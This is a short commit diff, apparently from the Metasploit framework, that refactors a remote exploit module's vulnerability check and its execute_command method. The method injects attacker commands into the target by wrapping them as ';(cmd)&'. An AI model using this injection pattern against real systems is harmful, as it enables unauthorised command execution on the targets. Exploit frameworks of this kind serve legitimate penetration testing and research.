Use string interpolation and removed rundant namespace and return statement

This commit is contained in:
Jacob Baines
2020-01-14 07:52:30 -05:00
parent ea6263e6bb
commit 009ec162de
@@ -83,15 +83,15 @@ class MetasploitModule < Msf::Exploit::Remote
if check_resp.code == 200
check_resp.body.gsub!(/[\r\n]/, "")
if check_resp.body == "root"
return Exploit::CheckCode::Vulnerable
return CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
send_command(";(" + cmd + ")&", nil)
send_command(";(#{cmd})&", nil)
end
def exploit